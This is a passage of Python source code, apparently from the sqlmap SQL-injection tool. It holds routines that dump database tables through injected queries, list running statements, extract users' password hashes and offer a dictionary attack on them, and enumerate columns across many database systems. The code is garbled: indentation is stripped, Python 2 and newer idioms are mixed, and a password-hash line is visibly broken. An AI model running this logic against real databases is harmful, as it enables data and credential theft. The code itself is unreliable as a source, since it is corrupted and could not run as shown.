if Backend.isDbms(DBMS.INFORMIX):
kb.dumpTable = "%s:%s" % (conf.db, tbl)
else:
kb.dumpTable = "%s.%s" % (conf.db, tbl)
if safeSQLIdentificatorNaming(
conf.db
) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(
tbl, True
) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db
)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = "unable to enumerate the columns for table "
warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += ", skipping" if len(tblList) > 1 else ""
logger.warn(warnMsg)
continue
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(tbl, True)]
colList = sorted(column for column in columns if column)
if conf.exclude:
colList = [
_ for _ in colList if _ not in conf.exclude.split(',')
]
if not colList:
warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
warnMsg += " (no usable column names)"
logger.warn(warnMsg)
continue
kb.dumpColumns = colList
colNames = colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = "fetching entries"
if conf.col:
infoMsg += " of column(s) '%s'" % colNames
infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
for column in colList:
_ = agent.preprocessField(tbl, column)
if _ != column:
colString = re.sub(r"\b%s\b" % re.escape(column), _,
colString)
entriesCount = 0
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
entries = []
query = None
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (
colString, tbl.upper() if not conf.db else
("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.ACCESS,
DBMS.FIREBIRD,
DBMS.MAXDB):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].
where == PAYLOAD.WHERE.ORIGINAL):
table = "%s.%s" % (conf.db, tbl)
if Backend.isDbms(
DBMS.MSSQL) and not conf.forcePivoting:
warnMsg = "in case of table dumping problems (e.g. column entry order) "
warnMsg += "you are advised to rerun with '--force-pivoting'"
singleTimeWarnMessage(warnMsg)
query = rootQuery.blind.count % table
query = agent.whereQuery(query)
count = inject.getValue(
query,
blind=False,
time=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
try:
indexRange = getLimitRange(
count, plusOne=True)
for index in indexRange:
row = []
for column in colList:
query = rootQuery.blind.query3 % (
column, column, table,
index)
query = agent.whereQuery(query)
value = inject.getValue(
query,
blind=False,
time=False,
dump=True) or ""
row.append(value)
entries.append(row)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table,
colList,
blind=False)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if retVal:
entries, _ = retVal
entries = zip(*[
entries[colName] for colName in colList
])
else:
query = rootQuery.inband.query % (colString,
conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL,
DBMS.PGSQL,
DBMS.HSQLDB, DBMS.H2):
query = rootQuery.inband.query % (
colString, conf.db, tbl,
prioritySortColumns(colList)[0])
else:
query = rootQuery.inband.query % (colString, conf.db,
tbl)
query = agent.whereQuery(query)
if not entries and query and not kb.dumpKeyboardInterrupt:
try:
entries = inject.getValue(query,
blind=False,
time=False,
dump=True)
except KeyboardInterrupt:
entries = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not isNoneValue(entries):
if isinstance(entries, basestring):
entries = [entries]
elif not isListLike(entries):
entries = []
entriesCount = len(entries)
for index, column in enumerate(colList):
if column not in kb.data.dumpedTable:
kb.data.dumpedTable[column] = {
"length": len(column),
"values": BigArray()
}
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = unArrayizeValue(
entry[index]
) if index < len(entry) else u''
maxLen = max(
len(column),
len(
DUMP_REPLACEMENTS.get(
getUnicode(colEntry),
getUnicode(colEntry))))
if maxLen > kb.data.dumpedTable[column][
"length"]:
kb.data.dumpedTable[column][
"length"] = maxLen
kb.data.dumpedTable[column]["values"].append(
colEntry)
if not kb.data.dumpedTable and isInferenceAvailable(
) and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "column(s) '%s' " % colNames
infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (
tbl.upper() if not conf.db else
("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.ACCESS,
DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
DBMS.MSSQL):
query = rootQuery.blind.count % ("%s.%s" %
(conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, tbl)
else:
query = rootQuery.blind.count % (conf.db, tbl)
query = agent.whereQuery(query)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
lengths = {}
entries = {}
if count == 0:
warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(
conf.db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "column(s) '%s' " % colNames
warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.warn(warnMsg)
continue
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,
DBMS.SYBASE,
DBMS.MAXDB,
DBMS.MSSQL,
DBMS.INFORMIX):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
DBMS.MSSQL):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = "%s.%s" % (conf.db, tbl)
elif Backend.isDbms(DBMS.INFORMIX):
table = "%s:%s" % (conf.db, tbl)
if Backend.isDbms(
DBMS.MSSQL) and not conf.forcePivoting:
warnMsg = "in case of table dumping problems (e.g. column entry order) "
warnMsg += "you are advised to rerun with '--force-pivoting'"
singleTimeWarnMessage(warnMsg)
try:
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
for column in colList:
query = rootQuery.blind.query3 % (
column, column, table, index)
query = agent.whereQuery(query)
value = inject.getValue(
query,
union=False,
error=False,
dump=True) or ""
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
lengths[column] = max(
lengths[column],
len(
DUMP_REPLACEMENTS.get(
getUnicode(value),
getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table,
colList,
count,
blind=True)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if retVal:
entries, lengths = retVal
else:
emptyColumns = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
if len(colList) < len(
indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
debugMsg = "checking for empty columns"
logger.debug(infoMsg)
for column in colList:
if not inject.checkBooleanExpression(
"(SELECT COUNT(%s) FROM %s)>0" %
(column, kb.dumpTable)):
emptyColumns.append(column)
debugMsg = "column '%s' of table '%s' will not be " % (
column, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
try:
for index in indexRange:
for column in colList:
value = ""
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (
DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB, DBMS.H2):
query = rootQuery.blind.query % (
agent.preprocessField(tbl, column),
conf.db, conf.tbl,
sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (
DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (
agent.preprocessField(tbl, column),
tbl.upper() if not conf.db else
("%s.%s" %
(conf.db.upper(), tbl.upper())),
index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (
agent.preprocessField(
tbl, column), tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (
index,
agent.preprocessField(tbl,
column), tbl)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (
index,
agent.preprocessField(
tbl, column), conf.db, tbl,
sorted(colList, key=len)[0])
query = agent.whereQuery(query)
value = NULL if column in emptyColumns else inject.getValue(
query,
union=False,
error=False,
dump=True)
value = '' if value is None else value
lengths[column] = max(
lengths[column],
len(
DUMP_REPLACEMENTS.get(
getUnicode(value),
getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = {
"length": length,
"values": columnEntries
}
entriesCount = len(columnEntries)
if len(kb.data.dumpedTable) == 0 or (entriesCount == 0
and kb.permissionFlag):
warnMsg = "unable to retrieve the entries "
if conf.col:
warnMsg += "of columns '%s' " % colNames
warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
warnMsg += "in database '%s'%s" % (
unsafeSQLIdentificatorNaming(conf.db),
" (permission denied)" if kb.permissionFlag else "")
logger.warn(warnMsg)
else:
kb.data.dumpedTable["__infos__"] = {
"count": entriesCount,
"table": safeSQLIdentificatorNaming(tbl, True),
"db": safeSQLIdentificatorNaming(conf.db)
}
try:
attackDumpedTable()
except (IOError, OSError) as ex:
errMsg = "an error occurred while attacking "
errMsg += "table dump ('%s')" % getSafeExString(ex)
logger.critical(errMsg)
conf.dumper.dbTableValues(kb.data.dumpedTable)
except SqlmapConnectionException as ex:
errMsg = "connection exception detected in dumping phase "
errMsg += "('%s')" % getSafeExString(ex)
logger.critical(errMsg)
finally:
kb.dumpColumns = None
kb.dumpTable = None
def getStatements(self):
infoMsg = "fetching SQL statements"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].statements
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
while True:
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
kb.data.cachedStatements = []
for value in arrayizeValue(values):
value = (unArrayizeValue(value) or "").strip()
if not isNoneValue(value):
kb.data.cachedStatements.append(value.strip())
elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query:
query = query.replace("query", "current_query")
continue
break
if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of statements"
logger.info(infoMsg)
query = rootQuery.blind.count
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
return kb.data.cachedStatements
elif not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of statements"
raise SqlmapNoneDataException(errMsg)
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
value = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes
query = rootQuery.blind.query3 % index
identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))
if not isNoneValue(identifier):
query = rootQuery.blind.query2 % identifier
value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))
if isNoneValue(value):
query = rootQuery.blind.query % index
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(value):
kb.data.cachedStatements.append(value)
if not kb.data.cachedStatements:
errMsg = "unable to retrieve the statements"
logger.error(errMsg)
else:
kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements]
return kb.data.cachedStatements
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == CURRENT_USER:
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(',')
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = [_ for _ in users if _]
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user)
for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
retVal = pivotDumpTable(
"(%s) AS %s" % (query, kb.aliasName),
['%s.name' % kb.aliasName,
'%s.password' % kb.aliasName],
blind=False)
if retVal:
for user, password in filterPairValues(
_zip(retVal[0]["%s.name" % kb.aliasName],
retVal[0]["%s.password" % kb.aliasName])):
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
values = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
values = inject.getValue(query.replace(
"master.dbo.fn_varbintohexstr",
"sys.fn_sqlvarbasetostr"),
blind=False,
time=False)
elif Backend.isDbms(
DBMS.MYSQL) and (isNoneValue(values) or all(
len(value) == 2 and
(isNullValue(value[1]) or isNoneValue(value[1]))
for value in values)):
values = inject.getValue(query.replace(
"authentication_string", "password"),
blind=False,
time=False)
for user, password in filterPairValues(values):
if not user or user == " ":
continue
password = parsePasswordHash(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords and isInferenceAvailable(
) and not conf.direct:
fallback = False
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
query = rootQuery.inband.query
retVal = pivotDumpTable(
"(%s) AS %s" % (query, kb.aliasName),
['%s.name' % kb.aliasName,
'%s.password' % kb.aliasName],
blind=True)
if retVal:
for user, password in filterPairValues(
_zip(retVal[0]["%s.name" % kb.aliasName],
retVal[0]["%s.password" % kb.aliasName])):
password = "******" % encodeHex(password,
binary=False).upper()
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
for user in users:
user = unArrayizeValue(user)
if user in retrievedUsers:
continue
if Backend.isDbms(DBMS.INFORMIX):
count = 1
else:
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(
DBMS.MSSQL) and Backend.isVersionWithin(
("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(
query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
fallback = True
count = inject.getValue(
query.replace(
"master.dbo.fn_varbintohexstr",
"sys.fn_sqlvarbasetostr"),
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
elif Backend.isDbms(DBMS.MYSQL):
fallback = True
count = inject.getValue(
query.replace("authentication_string",
"password"),
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index,
user)
else:
query = rootQuery.blind.query % (user, index,
user)
if fallback:
query = query.replace(
"master.dbo.fn_varbintohexstr",
"sys.fn_sqlvarbasetostr")
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (user, )
elif Backend.isDbms(DBMS.HSQLDB):
query = rootQuery.blind.query % (index, user)
else:
query = rootQuery.blind.query % (user, index)
if Backend.isDbms(DBMS.MYSQL):
if fallback:
query = query.replace("authentication_string",
"password")
password = unArrayizeValue(
inject.getValue(query, union=False, error=False))
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users"
logger.error(errMsg)
else:
for user in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = list(
set(kb.data.cachedUsersPasswords[user]))
storeHashesToFile(kb.data.cachedUsersPasswords)
message = "do you want to perform a dictionary-based attack "
message += "against retrieved password hashes? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
pass
elif choice == 'Q':
raise SqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(",")
else:
colList = []
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
else:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce is None:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce or colList:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(
tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.inband.query % tbl
value = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(value))
elif not isNoneValue(value):
table = {}
columns = {}
for columnData in value:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % conf.db
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
if len(colList) > 0:
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(
tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = inject.getValue(query, union=False, error=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.error(errMsg)
continue
table = {}
columns = {}
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(
tbl.upper())
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace(
"'%s'", "'%s'" %
unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field, field)
column = inject.getValue(query, union=False, error=False)
if not isNoneValue(column):
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
DBMS.PGSQL):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(tbl), column,
unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(
tbl.upper()), column)
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (
conf.db, conf.db, conf.db, conf.db, column,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(
".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = inject.getValue(query,
union=False,
error=False)
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
